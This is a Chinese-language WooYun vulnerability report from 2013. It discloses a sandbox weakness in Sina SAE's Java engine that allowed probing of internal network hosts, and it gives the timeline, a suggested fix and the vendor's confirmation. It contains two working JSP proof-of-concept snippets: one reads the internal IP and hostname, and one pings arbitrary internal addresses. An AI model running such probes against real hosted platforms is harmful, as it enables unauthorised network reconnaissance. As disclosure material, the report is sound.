当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041694

漏洞标题:新浪sae的java版本一处权限不严可扫内网

相关厂商:新浪

漏洞作者: lupin

提交时间:2013-11-02 01:31

修复时间:2013-12-17 01:32

公开时间:2013-12-17 01:32

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-02: 细节已通知厂商并且等待厂商处理中
2013-11-04: 厂商已经确认,细节仅向厂商公开
2013-11-14: 细节向核心白帽子及相关领域专家公开
2013-11-24: 细节向普通白帽子公开
2013-12-04: 细节向实习白帽子公开
2013-12-17: 细节向公众公开

简要描述:

新浪sae权限不严格,导致可以探测内网其他主机的存活状态。

详细说明:

新浪sae的java应用引擎,沙盒权限限制不够全面,导致可以使用一些方法探测到内网中其他主机的存活状态。

漏洞证明:

获取sae的内网ip(ip.jsp):

<%@ page language="java" import="java.net.*" pageEncoding="ISO-8859-1"%>
<%=java.net.InetAddress.getLocalHost().getHostAddress()%><br/>
<%=java.net.InetAddress.getLocalHost().getHostName()%>


sina1.jpg


探测内网中其他主机存活状态(ping.jsp):

<%@ page language="java" import="java.net.*" pageEncoding="ISO-8859-1"%>
<%
String str = request.getParameter("ip");
String[] ipStr = str.split("\\.");
byte[] ipBuf = new byte[4];
for(int i = 0; i < 4; i++){
ipBuf[i] = (byte)(Integer.parseInt(ipStr[i])&0xff);
}
InetAddress ia = InetAddress.getByAddress(ipBuf);
boolean reachable = ia.isReachable(50000);
out.println(ia.getHostName() + ":" + reachable);
%>


10.67.24.1主机开放:

sina2.jpg


10.67.24.2主机无法访问:

sina3.jpg


修复方案:

沙盒里面做好限制,限制InetAddress类中isReachable方法的调用。

版权声明:转载请注明来源 lupin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-11-04 10:14

厂商回复:

感谢关注新浪安全,马上安排人员进行修复

最新状态:

暂无